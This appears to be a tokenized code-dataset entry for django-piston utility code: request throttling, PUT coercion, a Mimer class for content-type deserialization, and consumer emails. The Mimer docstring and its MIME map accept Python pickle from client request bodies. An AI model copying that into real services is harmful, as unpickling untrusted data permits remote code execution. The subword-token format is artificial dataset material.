"max", "\\u", "requests_", "and_", "expiration_", ">_", "now_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t_", "=_", "rc_", "._", "THRO", "TTL", "ED_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wait_", "=_", "int_", "(_", "expiration_", "-_", "now_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "content_", "=_", "'", "Throttle", "d", ",", " ", "wait", " ", "%", "d", " ", "second", "s", ".'_", "%_", "wait_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "[_", "'", "Retr", "y", "-", "Af", "ter", "'_", "]_", "=_", "wait_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "t_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cache_", "._", "set_", "(_", "ident_", ",_", "(_", "count_", "+_", "1_", ",_", "expiration_", ")_", ",_", "(_", "expiration_", "-_", "now_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "(_", "self_", ",_", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "wrap_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "coerce", "\\u", "put", "\\u", "post_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Dj", "ang", "o", " ", "doe", "sn", "'", "t", " ", "partic", "ular", "ly", " ", "underst", "and", " ", "REST", ".", "\\", "10", ";", " ", " ", " ", " ", "In", " ", "case", " ", "we", " ", "send", " ", "data", " ", "over", " ", "PU", "T", ",", " ", "Dj", "ang", "o", " ", "won", "'", "t", "\\", "10", ";", " ", " ", " ", " ", "actual", "ly", " ", "look", " ", "at", " ", "the", " ", "data", " ", "and", " ", "load", " ", "it", ".", " ", "We", " ", "need", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "twist", " ", "its", " ", "arm", " ", "here", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "try", "/", "except", " ", "abo", "mini", "ation", " ", "here", " ", "is", " ", "due", " ", "to", " ", "a", " ", "bug", "\\", "10", ";", " ", " ", " ", " ", "in", " ", "mod", "\\u", "python", ".", " ", "Thi", "s", " ", "shou", "ld", " ", "fix", " ", "it", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "request_", "._", "method_", "==_", "\"", "PU", "T", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Bug", " ", "fix", ":", " ", "if", " ", "\\u", "load", "\\u", "post", "\\u", "and", "\\u", "files", " ", "has", " ", "alr", "ead", "y", " ", "bee", "n", " ", "call", "ed", ",", " ", "for_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "example", " ", "by", " ", "middle", "ware", " ", "accessi", "ng", " ", "request", ".", "POST", ",", " ", "the", " ", "belo", "w", " ", "code", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "prete", "nd", " ", "the", " ", "request", " ", "is", " ", "a", " ", "POST", " ", "inst", "ead", " ", "of", " ", "a", " ", "PU", "T", " ", "will", " ", "be", " ", "too", " ", "late", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "make", " ", "a", " ", "difference", ".", " ", "Al", "so", " ", "calling", " ", "\\u", "load", "\\u", "post", "\\u", "and", "\\u", "files", " ", "will", " ", "result", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "in", " ", "the", " ", "follow", "ing", " ", "exception", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "Attribute", "Error", ":", " ", "You", " ", "cann", "ot", " ", "set", " ", "the", " ", "upload", " ", "handler", "s", " ", "after", " ", "the", " ", "upload", " ", "has", " ", "bee", "n", " ", "process", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "fix", " ", "is", " ", "to", " ", "check", " ", "for", " ", "the", " ", "presen", "ce", " ", "of", " ", "the", " ", "\\u", "post", " ", "field", " ", "whi", "ch", " ", "is", " ", "set", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "first", " ", "time", " ", "\\u", "load", "\\u", "post", "\\u", "and", "\\u", "files", " ", "is", " ", "call", "ed", " ", "(", "bot", "h", " ", "by", " ", "wsgi", ".", "py", " ", "and", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "modp", "yth", "on", ".", "py", ").", " ", "If", " ", "it", "'", "s", " ", "set", ",", " ", "the", " ", "request", " ", "has", " ", "to", " ", "be", " ", "'", "reset", "'", " ", "to", " ", "redo", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "query", " ", "value", " ", "pars", "ing", " ", "in", " ", "POST", " ", "mode", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "hasattr_", "(_", "request_", ",_", "'\\u", "post", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "request_", "._", "\\u", "post_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "request_", "._", "\\u", "files_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request_", "._", "method_", "=_", "\"", "POST", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "\\u", "load", "\\u", "post", "\\u", "and", "\\u", "files_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "method_", "=_", "\"", "PU", "T", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request_", "._", "META_", "[_", "'", "REQUEST", "\\u", "METH", "OD", "'_", "]_", "=_", "'", "POST", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "\\u", "load", "\\u", "post", "\\u", "and", "\\u", "files_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "META_", "[_", "'", "REQUEST", "\\u", "METH", "OD", "'_", "]_", "=_", "'", "PU", "T", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "request_", "._", "PUT_", "=_", "request_", "._", "POST_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Mim", "er", "Data", "Exception_", "(_", "Exception_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Rai", "sed", " ", "if", " ", "the", " ", "content", "\\u", "type", " ", "and", " ", "data", " ", "don", "'", "t", " ", "match", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Mim", "er_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "TYPES_", "=_", "dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Mim", "er_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "request_", "=_", "request_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mim", "er_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "multipart_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "content", "\\u", "type_", "=_", "self_", "._", "content", "\\u", "type_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "content", "\\u", "type_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "content", "\\u", "type_", "._", "lstrip_", "(_", ")_", "._", "startswith_", "(_", "'", "multip", "art", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mim", "er_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "load", "er", "\\u", "for", "\\u", "type_", "(_", "self_", ",_", "ctype_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Get", "s", " ", "a", " ", "function", " ", "ref", " ", "to", " ", "deserialize", " ", "content", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "a", " ", "cert", "ain", " ", "mime", "type", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "load", "ee_", ",_", "mime", "s_", "in_", "Mim", "er_", "._", "TYPES_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "mime_", "in_", "mime", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "ctype_", "._", "startswith_", "(_", "mime_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "load", "ee_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mim", "er_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "content", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "content", " ", "type", " ", "of", " ", "the", " ", "request", " ", "in", " ", "all", " ", "case", "s", " ", "where", " ", "it", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "different", " ", "than", " ", "a", " ", "submitted", " ", "form", " ", "-", " ", "applica", "tion", "/", "x", "-", "www", "-", "form", "-", "url", "encode", "d", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "type", "\\u", "form", "encoded_", "=_", "\"", "applica", "tion", "/", "x", "-", "www", "-", "form", "-", "url", "encode", "d", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ctype_", "=_", "self_", "._", "request_", "._", "META_", "._", "get_", "(_", "'", "CONTE", "NT", "\\u", "TYPE", "'_", ",_", "type", "\\u", "form", "encoded_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "type", "\\u", "form", "encoded_", "in_", "ctype_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "ctype_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mim", "er_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "translate_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Wil", "l", " ", "look", " ", "at", " ", "the", " ", "`", "Conten", "t", "-", "type", "`", " ", "sent", " ", "by", " ", "the", " ", "client", ",", " ", "and", " ", "may", "be", "\\", "10", ";", " ", " ", " ", " ", "deserialize", " ", "the", " ", "content", "s", " ", "int", "o", " ", "the", " ", "format", " ", "the", "y", " ", "sent", ".", " ", "Thi", "s", " ", "will", "\\", "10", ";", " ", " ", " ", " ", "work", " ", "for", " ", "JSO", "N", ",", " ", "YAM", "L", ",", " ", "XML", " ", "and", " ", "Pickl", "e", ".", " ", "Sin", "ce", " ", "the", " ", "data", " ", "is", " ", "not", " ", "just", "\\", "10", ";", " ", " ", " ", " ", "key", "-", "value", " ", "(", "and", " ", "may", "be", " ", "just", " ", "a", " ", "list", "),", " ", "the", " ", "data", " ", "will", " ", "be", " ", "place", "d", " ", "on", "\\", "10", ";", " ", " ", " ", " ", "`", "request", ".", "data", "`", " ", "inst", "ead", ",", " ", "and", " ", "the", " ", "handler", " ", "will", " ", "have", " ", "to", " ", "read", " ", "from", "\\", "10", ";", " ", " ", " ", " ", "there", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "It", " ", "will", " ", "als", "o", " ", "set", " ", "`", "request", ".", "content", "\\u", "type", "`", " ", "so", " ", "the", " ", "handler", " ", "has", " ", "an", " ", "easy", "\\", "10", ";", " ", " ", " ", " ", "way", " ", "to", " ", "tell", " ", "what", "'", "s", " ", "goi", "ng", " ", "on", ".", " ", "`", "request", ".", "content", "\\u", "type", "`", " ", "will", " ", "alw", "ay", "s", " ", "be", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", " ", "for", " ", "form", "-", "encode", "d", " ", "and", "/", "or", " ", "multip", "art", " ", "form", " ", "data", " ", "(", "what", " ", "your", " ", "browse", "r", " ", "send", "s", ".)", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctype_", "=_", "self_", "._", "content", "\\u", "type_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "request_", "._", "content", "\\u", "type_", "=_", "ctype_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "self_", "._", "is", "\\u", "multipart_", "(_", ")_", "and_", "ctype_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "load", "ee_", "=_", "self_", "._", "load", "er", "\\u", "for", "\\u", "type_", "(_", "ctype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "load", "ee_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "request_", "._", "data_", "=_", "load", "ee_", "(_", "self_", "._", "request_", "._", "raw", "\\u", "post", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Reset", " ", "bot", "h", " ", "POST", " ", "and", " ", "PU", "T", " ", "from", " ", "request", ",", " ", "as", " ", "its_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "mis", "lead", "ing", " ", "hav", "ing", " ", "thei", "r", " ", "presen", "ce", " ", "aro", "und", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "request_", "._", "POST_", "=_", "self_", "._", "request_", "._", "PUT_", "=_", "dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "Type", "Error_", ",_", "Value", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "als", "o", " ", "catche", "s", " ", "if", " ", "load", "ee", " ", "is", " ", "Non", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Mim", "er", "Data", "Exception_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "request_", "._", "data_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "request_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mim", "er_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "register_", "(_", "cls_", ",_", "load", "ee_", ",_", "types_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cls_", "._", "TYPES_", "[_", "load", "ee_", "]_", "=_", "types_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mim", "er_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "unregister_", "(_", "cls_", ",_", "load", "ee_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cls_", "._", "TYPES_", "._", "pop_", "(_", "load", "ee_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "translat", "e\\u", "mime_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request_", "=_", "Mim", "er_", "(_", "request_", ")_", "._", "translate_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "require", "\\u", "mime_", "(_", "*_", "mime", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Decorat", "or", " ", "requi", "ring", " ", "a", " ", "cert", "ain", " ", "mime", "type", ".", " ", "There", "'", "s", " ", "a", " ", "nif", "ty", "\\", "10", ";", " ", " ", " ", " ", "help", "er", " ", "call", "ed", " ", "`", "require", "\\u", "extend", "ed", "`", " ", "belo", "w", " ", "whi", "ch", " ", "require", "s", " ", "every", "thing", "\\", "10", ";", " ", " ", " ", " ", "we", " ", "support", " ", "except", " ", "for", " ", "post", "-", "data", " ", "via", " ", "form", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "decorator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "wrap_", "(_", "f_", ",_", "self_", ",_", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "Mim", "er_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "real", "mime", "s_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rewrite", "_", "=_", "{_", "'", "json", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "yaml", "'_", ":_", "'", "applica", "tion", "/", "x", "-", "yaml", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xml", "'_", ":_", "'", "text", "/", "xml", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "pickle", "'_", ":_", "'", "applica", "tion", "/", "python", "-", "pickle", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "idx_", ",_", "mime_", "in_", "enumerate_", "(_", "mime", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "real", "mime", "s_", "._", "add_", "(_", "rewrite", "_", "._", "get_", "(_", "mime_", ",_", "mime_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "m_", "._", "content", "\\u", "type_", "(_", ")_", "in_", "real", "mime", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "rc_", "._", "BAD", "\\u", "REQUEST_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "(_", "self_", ",_", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "wrap_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "send", "\\u", "consume", "r", "\\u", "mail_", "(_", "consumer_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Sen", "d", " ", "a", " ", "consume", "r", " ", "an", " ", "email", " ", "depend", "ing", " ", "on", " ", "what", " ", "thei", "r", " ", "status", " ", "is", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subject_", "=_", "settings_", "._", "PI", "STO", "N", "\\u", "OAUTH", "\\u", "EMA", "IL", "\\u", "SUBJECT", "S_", "[_", "consumer_", "._", "status_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subject_", "=_", "\"", "You", "r", " ", "API", " ", "Consume", "r", " ", "for", " ", "%", "s", " ", "\"_", "%_", "Site_", "._", "objects_", "._", "get", "\\u", "current_", "(_", ")_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "consumer_", "._", "status_", "==_", "\"", "accept", "ed", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subject_", "+=_", "\"", "was", " ", "accept", "ed", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "consumer_", "._", "status_", "==_", "\"", "cancel", "ed", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subject_", "+=_", "\"", "has", " ", "bee", "n", " ", "cancel", "ed", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "consumer_", "._", "status_", "==_", "\"", "reject", "ed", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subject_", "+=_", "\"", "has", " ", "bee", "n", " ", "reject", "ed", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subject_", "+=_", "\"", "is", " ", "await", "ing", " ", "approval", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "template_", "=_", "\"", "pis", "ton", "/", "mails", "/", "consume", "r", "\\u", "%", "s", ".", "txt", "\"_", "%_", "consumer_", "._", "status_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "body_", "=_", "loader_", "._", "render", "\\u", "to", "\\u", "string_", "(_", "template_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "consume", "r", "'_", ":_", "consumer_", ",_", "'", "user", "'_", ":_", "consumer_", "._", "user_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Templa", "te", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "\\", "10", ";", " ", " ", " ", " ", "The", "y", " ", "have", "n", "'", "t", " ", "set", " ", "up", " ", "the", " ", "template", "s", ",", " ", "whi", "ch", " ", "means", " ", "the", "y", " ", "mig", "ht", " ", "not", " ", "want", "\\", "10", ";", " ", " ", " ", " ", "these", " ", "email", "s", " ", "sent", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sender_", "=_", "settings_", "._", "PI", "STO", "N", "\\u", "FROM", "\\u", "EMAIL_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", 